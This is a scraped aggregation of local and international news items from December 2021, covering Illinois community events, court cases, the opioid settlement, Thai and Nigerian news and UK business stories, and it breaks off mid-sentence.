Edwardsville Public Library. Visit the library and drop off your gifts to be wrapped. Run errands or browse books while you wait. Provided by The Edwardsville Library Friends. Monetary donations are always appreciated. Chicken Dinner 4-8 p.m. Dine-in or Carryout at the Edwardsville American Legion Post 199, 58 S. State Rt. 157, Edwardsville. Two or four pieces of chicken and vegetables, mashed potatoes and gravy and a biscuit. 618-656-9774 NAMI Meeting 7-8:30 p.m via Zoom. The National Alliance on Mental Illness Southwestern Illinois (NAMI SWI) family support meetings may also be in person. To receive the link for a Zoom meeting or address for an in-person meeting contact Pat Rudloff, silverlining6@charter.net. Friday, Dec. 17 Fish Fry Every Friday 11 a.m.-8 p.m. Dine-in or Carryout at the Edwardsville American Legion Post 199, 58 S. State Rt. 157, Edwardsville. Two pieces of cod or one catfish filet and sides. 618-656-9774 Fish Fry 4:30-8 p.m. at the Edwardsville Moose, 7371 Marine Road, Edwardsville. Dine-in and carryout options. 618-656-5051 Stitchin in the Stacks 2-4 p.m. Glen Carbon Library. The Conference Room is available every Friday. Whatever your passion, gather and socialize with others who share your interest, and perhaps pick up a few tips and tricks as you work your own creations. Bring your crafting supplies. This is a self-directed program; there is no instructor. Snacks allowed. Saturday, Dec. 18 Free Gift Wrapping 12 - 4 p.m. at The Edwardsville Public Library. Visit the library and drop off your gifts to be wrapped. Run errands or browse books while you wait. Provided by The Edwardsville Library Friends. Monetary donations are always appreciated. Goshen Winter Market 10-noon in the expansion parking lot on St. Louis Street. Outdoors. Drive Through Grocery Giveaway 10 a.m. at the Collinsville-Troy Church of Christ, 1400 Troy Road, Collinsville. The Collinsville-Troy Church of Christ will provide 200 recipients non-perishable food items, a container of detergent and, for those who need, a package each of baby wipes and disposable diapers. Monday, Dec. 20 Woodlawn Cemetery Board 7 p.m. in the Woodlawn Chapel. All are invited to attend, whether you are a lot owner or have considered purchasing a lot. Tuesday, Dec. 21 Pasta Dinner 4-8 p.m. Dine-in or Carryout at the Edwardsville American Legion Post 199, 58 S. State Rt. Edwardsville. Pasta of the week served with salad. 618-656-9774 Free Gift Wrapping 3 p.m. - 7 p.m. at the Edwardsville Public Library. Visit the library and drop off your gifts to be wrapped. Run errands or browse books while you wait. Provided by The Edwardsville Library Friends. Monetary donations are always appreciated. Cribbage Club 6 p.m. at Camelot Bowling Alley, 801 Beltline Rd., Collinsville. Beginners welcome, free to attend. Contact Phil (618) 288-7910 or Susan at (618)978-1664 for more information. Wednesday, Dec. 22 Roxana HCE Meeting 12 p.m. at Rox-Arena in Roxana Park. HCE (formally Home Bureau) meeting. Light lunch is served. Open to the public. For more info contact Vi at 618-803-2795. Thursday, Dec. 23 NAMI Meeting 7-8:30 p.m via Zoom. The National Alliance on Mental Illness Southwestern Illinois (NAMI SWI) family support meetings may also be in person. To receive the link for a Zoom meeting or address for an in-person meeting contact Pat Rudloff, silverlining6@charter.net. Tuesday, Dec. 28 Pasta Dinner Every Tuesday 4-8 p.m. Dine-in or Carryout at the Edwardsville American Legion Post 199, 58 S. State Rt. Edwardsville. Pasta of the week served with salad. 618-656-9774 Thursday, Dec. 30 Blood Drive 1-7 p.m. at the Edwardsville Moose Lodge 1561, 7371 Marine Road (Rt. 143). Contact 1-800-733-2767 or visit RedCrossBlood.org and choose Moose Lodge 1561 to schedule an appointment. NAMI Meeting 7-8:30 p.m via Zoom. The National Alliance on Mental Illness Southwestern Illinois (NAMI SWI) family support meetings may also be in person. To receive the link for a Zoom meeting or address for an in-person meeting contact Pat Rudloff, silverlining6@charter.net. Chicken Dinner Every Thursday 4-8 p.m. Dine-in or Carryout at the Edwardsville American Legion Post 199, 58 S. State Rt. 157, Edwardsville. Two or four pieces of chicken and vegetables, mashed potatoes and gravy and a biscuit. 618-656-9774 Ongoing Events Al-Anon For information call 618-463-2429. For more information, visit SIAFG.org and District-18.org. Donations for Metro East Humane Society The Edwardsville Library Friends will be taking donations through December for the Metro East Humane Society. Items needed include: pet toys, treats, fleece blankets, 30-55 gallon trash bags, pens, post-its, printer paper, laundry detergent, cat beds and dog leads. Donations are much appreciated, and can be dropped off at the library. Winter Reading Challenge Begins Dec. 1 - Jan. 31 at the Edwardsville Public Library. Read books, earn badges and be entered into prize drawings on Beanstack. This challenge is for all ages, 0-109. To register visit www.edwardsvillelibrary.org. NEW YORK (AP) A son of Panama's former president, Ricardo Martinelli, pleaded guilty Tuesday in New York to laundering $28 million in connection with a massive bribery scheme involving a global construction conglomerate. Ricardo Martinelli Linares, 42, was extradited to the U.S. last week from Guatemala in a case involving the Brazil-based company Odebrecht S.A. His younger brother, Luis Enrique Martinelli Linares, had previously followed the same path: he was extradited from Guatemala in November and pleaded guilty on December 2nd to the same count of conspiracy to commit money laundering. Odebrechts scheme involved the payment of more than $700 million in bribes to government officials, public servants, political parties and others in Panama and other countries. The company pleaded guilty in 2016 to conspiracy to violate anti-bribery provisions of the U.S. Foreign Corrupt Practices Act. U.S. prosecutors say the Martinelli Linares brothers laundered money from bribes that were directed to a close relative of theirs, identified only as a high-ranking government official in Panama from 2009 until 2014. Former Panamanian President Martinelli served from 2009 until 2014. He was acquitted in November in Panama of charges he tapped the phones of opponents and journalists. He has said he hopes to run again for the presidency in 2024. Dressed in a light green prison uniform, Martinelli Linares repeated, Yes, your honor to questions posed to him during Tuesday's court proceeding by U.S. District Judge Raymond Dearie. Both brothers are being held without bail. Prosecutors said that an earlier attempt to finalize a plea bargain fell apart in June 2020 when the brothers slipped across the U.S. border, traveled to the Bahamas by boat, and then boarded a private jet in an attempt to return to Panama. When the plane was turned away due to COVID-19 travel restrictions, they ended up in several Central American countries before entering Guatemala on invalid diplomatic credentials. They were arrested there, on an arrest warrant issued out of New York, when they attempted to board a private family jet, set to fly to Panama. They spent more than a year in a Guatemalan prison, before being extradited to the U.S. An attorney for Luis Enrique Martinelli Linares, 39, said last month that the brothers fled because the U.S. government did not provide them with protection from deportation while they were negotiating a plea bargain. Dearie agreed with prosecutors Tuesday that Martinelli Linares couldnt be released on a $5 million proposed bond because of the way he fled in 2020. This is somebody who planned an escape, Dearie said. Actions speak louder than words." Martinelli Linares won't be sentenced until at least next May. In his plea deal, he has agreed to forfeit nearly $19 million. Scientists estimate that emissions from just 90 companies contributed to nearly 50% of the rise in global mean surface temperature, and 57% of the rise in atmospheric carbon dioxide in the past 130 years. Stacker analyzed a 2017 Climate Change study to rank the largest emitters by their atmospheric carbon dioxide contributions from 1880 to 2010. The former Lagos State governor and a National leader of the All Progressives Congress (APC), Bola Tinubu, says he will not turn down the calls of his supporters asking him to run for the office of the president in 2023. He said this on Tuesday after a meeting with leaders of the Northern Alliance Committee in Abuja. Speaking to journalists after the meeting, Tinubu said he would, however, make consultations before formally announcing a decision on the matter. Im not going to turn them down but I will still effectively and widely consult, particularly brainstorm with my friends and find a date to come out openly to tell Nigerians, he said. But the president is still in office. I dont want to distract him from all the challenges that he might face today. So, dont muddle the political water. Consult, make our programme known to the people later. On his part, Lawal Munir, who led the members of the committee to the meeting, said the groups visit is to let the APC chieftain know that they will work to project Tinubu positively in the northern region. The main reason is to let him know that there are people working for him and we are convinced everywhere in the northern part of this country. They are ready to receive him. And were working not only within the northern region but throughout Nigeria, he said. My intention is to make sure we take him around and make sure that he wins the election when the time comes. The development comes months after the launch of the Southwest Agenda 2023 (SWAGA 23) , a campaign group championing the candidacy of Tinubu for the 2023 presidency. The Federal Executive Council (FEC) has ratified a 20 percent salary increase for officers of the Nigeria Police Force (NPF). Minister of Police Affairs, Muhammad Dingyadi, disclosed this to State House Correspondents in Abuja on Wednesday after the Federal Executive Council meeting presided over by President Muhammadu Buhari. The Minister said the upward review is a product of the issues raised during the #EndSARS protests in October 2020; adding that the move is meant to boost the morale of police personnel across the country. The salary increase will take effect in January 2022. New safety measures at dive sites in national parks PHUKET: Large commercial dive tour boats are no longer permitted to enter the area immediately surrounding dive sites in national parks following new safety measures introduced by Varawut Silpa-archa, Minister of Natural Resources and Environment. tourismmarineSafety By The Phuket News Wednesday 15 December 2021, 12:11PM Varawut Silpa-archa, Minister of Natural Resources and Environment, introduced the new rule for safety. Image: DMCR Dive tour operators must now ferry divers to dive sites in national parks in smaller boats. Photo: Seafarer Divers Large boats must now remain 100-200 metres from the dive site and ferry their dive tourists to the dive site itself by smaller boats. Minister Varawut has introduced a three strikes system of penalties for violating the new measure. A first offence will incur a B5,000 fine and an official warning. A second offence will incur a B20,000 fine and the boat operators licence will be suspended for 30 days. A third offense will incur a B100,000 fine and the boat operators license will be revoked. In announcing the new safety rule, Mr Varawut said, Large boats with engine power and a large propeller, in addition to disturbing the creatures that live on the coral reefs, It may also be dangerous for other divers as well. Therefore, I would like to inform you that all business operators will be informed, and we invite tourists to travel to scuba dive to see the beauty of the Thai sea during this New Year festival. Please help monitor the behavior of business operators too, he added. The move has been praised as a common sense approach to dive tour safety, removing the possibility of tourists being injured by large boat propellers, and to help protect coral reefs from environmental damage. Kevin Lidureau of Seafarer Divers noted, Minister Varawut is just reinforcing the IMO [International Maritime Organization] that all boats must stay at least 50 metres away from any diving activity for safety reasons. However he added, For the moment it is only in national parks, but it may be extended for the whole Thailand. This is the best decision so far for people to enjoy safe diving while divers are on decompression stops or surfacing at the end of diving, Mr Lidureau said. Using dinghies gives the chance to go to the right place for immersion for a small group of divers. With MV Andaman Seafarer we have been using dinghies, as is done at many marine national parks around the world, since 1985, he said. Mr Lidureau called for speedboats to also be banned from entering the area where divers are in the water. Speedboats with divers should be made to use dinghies or be banned from dive sites as they have two or three engines, and captains do not have a 360-degree view around the speedboats and below the sea level, he noted. Virologist urges 2nd booster delay BANGKOK: People should hold off on getting a fourth vaccine shot for COVID-19 pending research and development into a new generation of vaccines, according to renowned virologist Yong Poovorawan. CoronavirusCOVID-19healthVaccine By Bangkok Post Wednesday 15 December 2021, 10:06AM Renowned virologist Yong Poovoravan prepares to administer a COVID jab to Public Health Minister Anutin Charnvirakul on Feb 28. Photo: Government House In a Facebook post yesterday (Dec 14), Dr Yong said a second booster shot should be saved for when it is absolutely necessary, reports the Bangkok Post. It should be rolled out after new knowledge has been gained about emerging variants of the virus, or when a new generation of vaccines are produced, said Dr Yong, also chief of the Centre of Excellence in Clinical Virology at Chulalongkorn University. His remarks came after Prime Minister Prayut Chan-o-cha instructed agencies to plan a fourth vaccine shot for next year as manufacturers will come up with new vaccine production technologies to fight the ever-mutating virus. Dr Yong said inoculation should not be rushed to reduce risks. The focus should now be on getting double doses to as many people as possible, and offering those who are double-jabbed a booster shot. Giving a booster jab of either AstraZeneca or an mRNA vaccine should deliver sufficient immune protection to a reasonable degree. More research is being done to assess vaccine efficacy and the drop in immunity among vaccinated people, according to Dr Yong. He said immunity would be spurred if the third and fourth shots were administered further apart rather than too close together. Dr Yong said having too many jabs increases the risk of negative side effects. He suggested people who paid for vaccines and booked appointments for a fourth shot should wait for now. They should receive the second booster at least six months after the first booster. Meanwhile, government spokesman Thanakorn Wangboonkongchana has outlined a rollout plan for these supplementary jabs. Recipients of double doses of AstraZeneca should wait three to six months before taking a booster jab of either Pfizer or Moderna. Those administered with either Pfizer or Moderna can obtain a booster of the same mRNA vaccine after six months of receiving their second jab. People who had either Sinovac or Sinopharm as their first shot and AstraZeneca as their second can seek a booster of either AstraZeneca or an mRNA vaccine. Montreal, CA (H4T1V6) Today On and off snow showers this evening. Breaks in the overcast later. Low around -1C. Winds SW at 10 to 20 mph. Chance of snow 30%.. Tonight On and off snow showers this evening. Breaks in the overcast later. Low around -4C. Winds SW at 10 to 20 mph. Chance of snow 30%. McMINNVILLE, Ore. (AP) The opioid epidemic blew into this picturesque Oregon town like a toxic wind, leaving overdoses, addiction, homelessness and wrecked families in its wake. In a humble, single-story brick building, three blocks from downtown McMinnville's wine-tasting rooms and cafes, staffers and volunteers of a recovery center called Provoking Hope help the casualties. The workers, who themselves are recovering from drug addiction, offer counseling, coffee and, for some, clean syringes. McMinnville and thousands of other towns across the United States are on the precipice of receiving billions of dollars in the second-biggest legal settlement in U.S. history. The $26 billion from three drug distributors and a pharmaceutical manufacturer would address damage wrought by opioids, which the federal government declared in 2017 was a public health emergency. States, counties and cities face a deadline in three weeks to sign onto the deal, and most states have agreed to do so. But a few holdouts remain, including Oregon, where disagreements have emerged between state and local government officials. The money is needed. In Yamhill County, where McMinnville is the county seat, it would expand counseling and treatment, including in jails, expand residential treatment and recovery facilities and fund other programs, said County Commissioner Casey Kulla. As Provoking Hopes office manager, Anne Muilenburg has seen the devastating effects of drug addiction and also experienced it first-hand. She says her addiction started as many in America did, after her physician prescribed opioids. They were for a painful spinal bone spur. Ten years later, using her prescription and buying two other people's prescriptions, she was taking 35 pills per day, far exceeding the maximum dosage. It wasnt even enough to make me feel high. It was just enough to not make me sick, Muilenburg said. She described opiate withdrawal experienced when she would run out of pills as the worst feeling ever. It makes you feel like somebody's peeling your skin off, she recalled in her small office, decorated with posters with sayings like be kind and stay humble. Muilenburg finally got treatment but then drug jumped to alcohol and methamphetamine. She wound up losing her job at a car dealership and splitting with her husband, though they have since reunited. She was in and out of jail and found herself living on the street. My being homeless was one of the things that led me to wanting to change my life, Muilenburg said. She has been free of drugs for 4 1/2 years. Muilenburg said funds from the settlement are needed to address the community's drug dependency. We need more treatment centers. Every place needs more treatment centers," she said. Its ridiculous that somebody wants to go to treatment and they have to wait eight to 10 weeks for a bed. In the U.S., more than 500,000 deaths over the last two decades have been linked to opioids, both prescription drugs and illegal ones. The clock is ticking on the settlement, with a payout second only to the $200 billion-plus tobacco settlement, in 1998, with the nations four largest tobacco companies. The three drug distributors AmerisourceBergen, Cardinal Health and McKesson and drugmaker Johnson & Johnson agreed in July to pay the combined $26 billion to resolve thousands of state and local government lawsuits. But if the defendants feel theres a lack of participation by states and local jurisdictions, it could cause them to back away from the landmark agreement or eventually reduce the settlement amount. "The defendants have the last bite at the apple to say, Do we have a critical mass to justify going forward? said Joe Rice, an attorney for the plaintiffs. In exchange for the payout, participating states, counties and cities would have to drop any lawsuits against the defendants and agree not to sue them in the future for the opioid epidemic. There are complex tradeoffs at stake here, said Caleb Alexander, a drug safety expert at Johns Hopkins Bloomberg School of Public Health. On the one hand, the settlement would offer sorely needed funding to scale up treatment and otherwise address the opioid epidemic. On the other, many parties believe the settlement is not enough. At least 45 states have signed on or signaled their intent to do so, and at least 4,012 counties and cities have also confirmed participation, plaintiffs' attorneys said Friday. Washington state has already ruled out participating, with Attorney General Bob Ferguson calling the settlement woefully insufficient. Hes suing the nations three biggest drug distributors the same ones in the national settlement for $38 billion in a trial that began in November. In Pennsylvania, the district attorneys for Philadelphia and Allegheny County, which includes Pittsburgh, have sued the state attorney general to ensure their lawsuits against the drug industry could continue, saying their communities shares from the settlement would cover only a fraction of the epidemic's financial toll. We are not going to accept a settlement that is a sellout, Philadelphia District Attorney Larry Krasner said. Pennsylvania Attorney General Josh Shapiro says receiving payouts from the settlement is a sure thing, unlike continuing to pursue lawsuits against the companies. Local governments can opt out and keep suing, he said, but the more that do, the less the state would receive. New Mexico is still working out details, "and were anticipating that counties and local governments will be responding soon, said Jerri Mares of the state attorney general's office. In Oregon, lawyers for local governments and the state recently resolved an impasse over how the settlement would be disbursed, according to The Lund Report, a health care news site. The state of Oregon had wanted local governments to apply to it for grants. The local governments instead wanted a larger share of the funds in direct payments. There's now disagreement on how much of the settlement should go to attorneys who sued on behalf of several Oregon counties. Kulla, the Yamhill County commissioner, supports the opioid settlement but doesnt want the state taking excessive control of it. We at the counties are the ones working with those addicted and their families, and we incur the societal costs of those addictions, he said. Under the settlement, the payments would be made over 18 years. The tobacco settlement was controlled by state governments, and most of the money has not gone to pay for the toll of tobacco. By contrast, the opioid settlements are structured so most of the money is intended to fight the crisis. Kulla recognizes there won't be a quick fix. Its going to be long-term, Kulla said. Its going to take generations, really, to dig ourselves out of this. ___ Associated Press writers Geoff Mulvihill in Cherry Hill, New Jersey, and Cedar Attanasio in Santa Fe, New Mexico, contributed to this report. ___ Follow Andrew Selsky on Twitter at https://twitter.com/andrewselsky WASHINGTON, D.C U.S. Rep. Rodney Davis, D-Taylorville, has nominated 11 area students for admittance to the U.S. Service Academies for the Class of 2026. The nominations for these students were made following an application and interview process. Final determination on admission is made by the individual academies. As a member of Congress, I have the privilege of nominating these accomplished young men and women to our nations service academies, said Davis. The honor of attending a service academy comes with an obligation and commitment to serve in the military upon graduation, so I applaud these students for their decision to serve and wish them the best of luck. Nominations include: Nick Becker, Maryville, who attends Collinsville High School and is the son of Brian and Cheryl Becker. He was nominated to the Air Force Academy. Madison Cawvey, Collinsville, who attends Collinsville High School and is the daughter of Jason and Kelly Cawvey. She was nominated to the Naval, Air Force, and Military (West Point) academies. Elizabeth Choate, Edwardsville, who attends St. Josephs Academy in St. Louis and is the daughter of Jeffrey and Eileen Choate. She was nominated to the Naval Academy. Oliver Ferdinand, Edwardsville, who attends Edwardsville High School and is the son of Roman and Silvia Ferdinand. He was nominated to the Air Force, Military (West Point) and Naval academies. Jude Henke, Edwardsville, who attends Father McGivney Catholic High School in Glen Carbon and is the son of Tim and Stacy Henke. He was nominated to the Air Force Academy. Drake Scroggins, Bunker Hill, who attends Bunker Hill High School and is the son of David and Laura Scroggins. He was nominated to the Air Force Academy. Members of Congress are asked to nominate candidates to the U.S. Service Academies each year, and the number of vacancies for each congressional district is determined by law. Candidates can be considered for openings at the U.S. Air Force Academy (Colorado Springs, Co.), U.S. Merchant Marines Academy (Kings Point, N.Y.), U.S. Military Academy (West Point, N.Y.) and the U.S. Naval Academy (Annapolis, Md.). Service academies offer fully funded four-year scholarships to young U.S. citizens who qualify by age and academics, who demonstrate desirable leadership qualities, and who have the wherewithal to strive for excellence in all their endeavors. A four-year education at one of the service academies has an estimated value of approximately $300,000. For more information or to obtain an application packet for next years nominations, contact Congressman Davis Normal office at 309-252-8834 or visit his website. JERSEYVILLE Germania Brew Haus on Tuesday received approval from the Jerseyville City Council for its planned location at 309 N. State St. in Jerseyville. With its first-opened location at 617 E. Broadway in Alton, and a second at 5775 Godfrey Road in Godfrey, Germania Brew Haus will soon open a third location at EastGate Plaza in East Alton. Within weeks of its East Alton opening next month, owners will open the doors on what will become the companys largest location of the four in Jerseyville in mid-February. Locals will recognize their footprint more familiarly as encompassing the former long-time Norton Hardware store and White Spot Restaurant locations, with Dairy Queen and the Knights of Columbus Hall as its immediate neighbors. Our Jerseyville location will be the largest location, but will maintain the coziness you feel at both the Alton and Godfrey locations, said co-owner Jared Brynildsen. It will have a dedicated drive-through, an event center and a full kitchen. "Our focus will be to continue serving the St. Louis areas best coffee while adding in a food menu that matches," he said. "The location will feature many of the themes seen in our first two locations, including an electric fireplace, couches, ambient lighting, various lounge areas, and a place for kids. Brynildsen co-owns Germania Brew Haus along with his wife, Carolyn, and youngest brother, Ben Brynildsen who also serves as the companys general manager of daily operations. Jared and Carolyn Brynildsen also serve as active duty military officers in the Army and Air Force, respectively. The 6,000-square-foot Jerseyville venue will feature a sit-down cafe space as well as a coffee and liquor bar. We will have a bar, but at this point, it will be primarily for the events hosted on-site," said Jared Brynildsen. "If the community has the desire, and the city is willing, then we may consider hosting an evening speak-easy type of cocktail lounge. Our aim is to bring the community together and encourage societal interactions. "We also enjoy actively serving our small-town communities, he added. We look for ways to give back, whether that be cookbook fundraisers for our partnership with Sleep in Heavenly Peace, round-up campaigns for Lewis and Clark Community College tuitions, or for Restore Network. "We want to demonstrate our values instead of simply hanging signs and telling people what they are," he said. "We believe that if you invest in a community, they will in turn also invest in you. The family plans to partner with the Alton-based WOW Events Center to ensure the new Jerseyville event space is best used on the weekends. During the week and on weekend mornings, we plan to host a small kids play area, so that parents can let their kids expend all their energy while they build up their own, said Jared Brynildsen. The Alton location of Germania Brew Haus opened in 2017 in the former Germania Bank building on Broadway. We opened the first Germania because we wanted to invest back into the community that both my wife and I grew up in, said Brynildsen. We noticed a large gap in the coffee community and thought it would be a great fit for the building we had found and purchased. "The word Germania was etched in stone on the building and was known as such throughout Alton," he said. "Additionally, my wife was stationed in Germany when we first met, and we lived in Germantown Nashville when we first married. Once we opened the doors in Alton, it became popular, but it was a few years later in late 2019 before we really started to become a bigger deal," he said. "When COVID hit, we decided, with the support of city hall, to put a drive-thru in the parking spots directly in front of the building there. Business took off, and we expedited our search for a second location. One presented itself in Godfrey, across from Lewis and Clark Community College. "Opening in late 2020, it was also highly successful," he said. "So we started looking at expanding our market reach and brand recognition even further." The Jerseyville location is expected to employ one full-time team member along with 10 to 15 part-time positions. People interested in becoming a Germaniac can apply through the companys Facebook page, @Germania Brew Haus. The Brynildsens have worked with Jerseyville officials and personnel to develop the former hardware store and restaurant facilities, as well as the alley that runs behind them and the short strip of street that runs between them. The development will add green space and parking to the Historic City Center District. We really like the community of Jerseyville. The mayor and city council members have worked hard, and diligently, with us to ensure it is a mutually beneficial relationship. We have been in the planning stages for this location and its adjacent development for over six months now. However, the city has had plans for something similar for much longer, said Brynildsen. The downtown has come a long way in the recent past, and where its going is even more exciting. We are proud to become part of this growing and long-respected community. Jerseyvilles Director of Economic Development Jeff Soer said the public-private partnership will benefit everyone. "Dairy Queen, the KC Hall, all the north-end businesses and establishments, the improvements to Lions Club and Wittman Parks, the City Center District, and the city as a whole, will all benefit," he said. "Germania Brew Haus, as another piece of the overall Historic City Center District development, will fit right in with our community. The Jerseyville City Council members are to be credited for having the foresight on this, and for whats being done throughout Jerseyville with its ongoing improvements and developments, including the City Center District, Soer said. They are on board with bettering our community, from all the parks improvements to providing TIF incentives to doing whatever it takes. Jerseyville is very pro-business, and this all couldnt have happened without the Councils approval and ongoing support. Jerseyville is a sales tax-driven community," Soer said. "Theres not much generated in funds to support the city from local property taxes. The revenues that will come into the city will be a significant help, and Germanias presence will help attract shoppers who will spend with other community merchants in the city. Its a win-win. We know they are a good business to have here. They give back to their communities and are incredibly supportive." For more about Germania Brew Haus follow them on Facebook, @GermaniaBrewHaus, germaniabrewhaus.com or by calling 314-667-4751. For more about Jerseyville and its Historic City Center District, contact Shari Albrecht at 217-556-8696, visit jedc-il.us online, or download and access the Explore Jerseyville app with any mobile device. ### This article was prepared for JEDC Partners in Progress by Melissa Meske Publications, macmeske.com. You can't go anywhere these days without being bombarded by adverts for buy now, pay later deals. They are plastered over billboards, prolific at online shopping checkouts and, frankly, out of control on social media websites. In this column, I have repeatedly written about how irresponsible it is to encourage young people to put a lifestyle they can't afford on credit and I find Klarna's bright pink marketing that targets women particularly galling. It is also concerning that borrowers can still sign up without passing proper credit checks. Without these, there is little to stop those who have already maxed out credit cards falling even deeper into debt. Easy money: Buy now pay later firms such as Klarna tend to start shoppers off with very small spending limits, and only increase them if customers prove to be reliable with repayments Indeed, everyone is agreed that buy now, pay later deals urgently need to be regulated. And the Treasury is consulting on plans to do just that. Yet all this doesn't mean the product itself is bad. In fact, there are clear benefits to the services, which allow customers to split payments over several weeks or months without paying interest. Customers often praise how convenient they are, particularly when buying items online, as they don't have to wait for a refund if they want to send them back. The average sums borrowed can also be more manageable. Firms tend to start shoppers off with very small spending limits and increase them only if customers prove reliable with repayments. Anyone who falls behind is unceremoniously cut off. So we must not blindly attack buy now, pay later firms and blame them for all that is wrong in the world of debt. Regulated lenders need to take some responsibility, too. Total credit card debt rose by 600million just last month. And debt advisers say that while clients have got into trouble using buy now, pay later services, these are usually just the tip of an iceberg largely made up of credit cards, loans and bill arrears. Debt crises are often prompted by a change in circumstances such as losing your job or divorcing. So why not force all major lenders to check in with their customers more frequently say, every six months to ensure their credit limits are still suitable and they are not spending more than they can afford to repay? Shoppers also need to start taking more responsibility and exercising a modicum of control. On Monday night, a 26-year-old teaching assistant admitted in a BBC Panorama documentary that he had used buy now, pay later to purchase four or five jackets in the past few months. No one needs that many coats! The Norwegian government has pledged to help struggling households pay soaring power bills Energy appeal Last week, the Norwegian government pledged to help struggling households pay soaring power bills this winter. Its aid package is expected to cover about a third of each household's electricity bill. As Prime Minister Jonas Gahr Store put it: 'Extraordinary times call for extraordinary measures.' Of course, Norway has far colder and darker winters than Britain. But surely our Government could consider boosting its support for vulnerable households, too. As we report, energy bill hikes are starting to bite hard and will get worse next year. If the Government axed VAT (currently 5 per cent on domestic energy bills), it would save the average household more than 60. Ministers could also raise the Warm Home Discount paid to customers on low incomes, which has remained at 140 for more than five years. Over to you, Chancellor. Mr Big died in Sex and The City reboot And Just Like That after riding on his Peloton at home Big chance? Poor old Mr Big. Dead from a heart attack after riding a Peloton bike in the Sex And The City reboot And Just Like That. As he's a fictional character, you might feel more sympathy for the fancy fitness equipment firm, whose shares tanked soon after. It led to an excited discussion at Money Mail Towers about whether now is the time to pick up some cheap shares, especially with office workers back at home again. But having looked at its performance overall this year, I'm thinking maybe not. Its bikes look more expensive than ever against the backdrop of a cost-of-living crisis. Wise caution or a missed opportunity? I'll be watching with interest. v.bischoff@dailymail.co.uk Shares in Ocado rose after a legal victory in the US over patents for its robots, but poor sales took the sparkle off. Norwegian robot company Autostore said it was the inventor and owner of some Ocado patents but an International Trade Commission judge said that was not the case. Ocado, which is led by Tim Steiner, said: We have consistently stated that Ocado does not infringe any valid Autostore IP [intellectual property], and we are pleased that the judge has now agreed with us. Norwegian rival Autostore had accused Ocado of intellectual property breaches, which Ocado said was in an attempt to thwart its US growth. This was a misconceived attempt to interfere with our business in the US. Shares jumped 5.5 per cent, or 87p, to 1678p. But Ocado said sales in its latest quarter were dented by labour shortages and a fire at its site in Erith, Kent. Shopping habits returned to more normal levels though Government plan B advice to work from home could result in a boost. The average order size dropped by 12 per cent from last year to 118 and sales in the three months to November 28 were 3.9 per cent down. It delivered 547.8million of groceries, up from 416.2million before Covid struck but down on last year. Almost 30 per cent of all deliveries were items from Marks and Spencer. Ocado plans to expand and analysts think M&S will eventually buy it entirely. Finance chief Stephen Daintith said that reports that M&S will buy the remaining 50 per cent of Ocado Retail it does not own are pure speculation. He said: There are absolutely no plans in that respect. Germany's economic growth is set to slow next year, a think-tank has warned. The Ifo institute downgraded its forecast for growth in Europes biggest economy in 2022 to 3.7 per cent from an earlier estimate of 5.1 per cent. Timo Wollmershauser at Ifo said: Supply bottlenecks and the fourth wave of the coronavirus are noticeably slowing down the German economy. Shut down: Germany has been battling a fourth wave of Covid, with businesses in some areas such as Leipzig (pictured) forced to close early A production-heavy economy has been particularly badly hit by shortages of raw materials ranging from wood to semiconductors. Germany has also been battling a fourth wave of Covid, with businesses in some areas forced to close early and unvaccinated people barred from non-essential shops. The forecast could be a headache for the new government, which took power last week, as it seeks to kickstart the economy with massive investments in digitalisation and climate projects. Ifo said German GDP was expected to contract by 0.5 per cent in the final quarter of 2021. For 2021 as a whole, growth is set to come in at 2.5 per cent. The figures are in stark contrast to the UK, which according to the International Monetary Fund (IMF) is predicted to grow at 6.8 per cent this year and 5 per cent in 2022. Elsewhere, Kristalina Georgieva, head of the IMF has said that Britain has proved more resilient than expected. She said the UK had advanced in many respects versus this time last year despite warnings in 2020 that growth could suffer when Britain split from the EU. Its optimism was despite worries about Omicron. Mrs Georgieva praised Britains vaccination roll-out. She said: The foundation for this resilience came from a rapid vaccination campaign, and strong coordinated policy support. Tainted: LV's chief executive Mark Hartigan (pictured) and chairman Alan Cook are still in their roles LV members and MPs have called for a shake-up of the mutual insurers board to ensure it is set fair for the future. The life insurers chief executive Mark Hartigan and chairman Alan Cook are still in their roles despite failing to push through a sale to private equity shark Bain Capital last week. Other members of the board, who backed Cook and Hartigan, have also remained in place. These directors include Alison Hutchinson, who is also on the board of the mutual Yorkshire Building Society, former Aviva UK life insurance head David Barral, ex-Standard Life top brass Colin Ledlie and Luke Savage, actuary Seamus Creedon and former Phoenix Group executive Susan McInnes. But MPs, campaigners and LV members claim the board no longer has members support, and should no longer lead the firm as it plans for the future. MPs are worried about Hutchinson pushing through a sell-off of LV while also playing a key role at Yorkshire Building Society. Labour MP Gareth Thomas wrote to Hutchinson in July asking for an explanation and querying whether she would countenance a sell-off of the Yorkshire. Thomas, who leads the all-party parliamentary group on mutuals, said yesterday: With almost 90pc of the members of LV not backing their dodgy deal and not one genuinely independent expert backing the deal either, the board are quite clearly not fit for purpose and shouldnt be anywhere near negotiations about what might come next. After what was a highly opaque and ultimately botched attempt to sell off to one of the worlds most controversial private equity giants in Bain Capital, Mr Cook and Mr Hartigan should do the decent thing and go immediately and the Financial Conduct Authority should oversee an orderly replacement of the current board. Tory MP Kevin Hollinrake said: LV needs new management. Alan Cook should be banned from being a director and when he was called in front of Parliament during inquiries into the Bain deal, he gave poor answers to questions and showed a lack of understanding of the fundamentals of the business. LV said on Friday that Hartigan had the boards absolute and full support. Cook and Hartigan said they put the firm up for sale because it desperately needed cash to expand and modernise. They plumped for an offer from Bain, which would have stripped LV of its mutual status, despite having a similar offer from fellow mutual Royal London. Eventually the deal was dismissed, and LV has gone back to the drawing board. Royal London is urging it to engage in talks. A group of 14 investors have called on Wizz Air to allow its staff to form and join trade unions amid concerns the company was 'actively' discouraging the practice and breaching their human rights. The group, including Britain's Ardevora Asset Management and Denmark's AkademikerPension, said the freedom to unionise was enshrined in a number of global and regional conventions and laws, but their research unveiled an alleged pattern of behaviour at the company blocking staff from doing so. Shares in FTSE 250-listed Wizz Air have dropped today and are currently down 3.39 per cent or 141.00p to 4,015.00p. Under pressure: A group of 14 investors have called on Wizz Air to allow its staff to form and join trade unions The letter in question, seen by Reuters, flagged six examples dating back to 2014, when a Romanian court fined the budget airline after 19 employees were dismissed shortly after starting a union. Statement from Wizz Air Wizz Air said in a statement seen by This is Money: 'Wizz Air welcomes engagement with investors and notes the letter sent by a group of 14 current and prospective investors. As we are in active discussion with the investors directly, we cannot comment on any specifics of the letter. 'We consider our employees to be our biggest asset, which is why we have worked tirelessly over the last 18 months to preserve the jobs of over 5,000 colleagues, and to provide them with countless opportunities within our network to develop their careers. 'During the height of the pandemic we had to let go of around 1,000 colleagues, 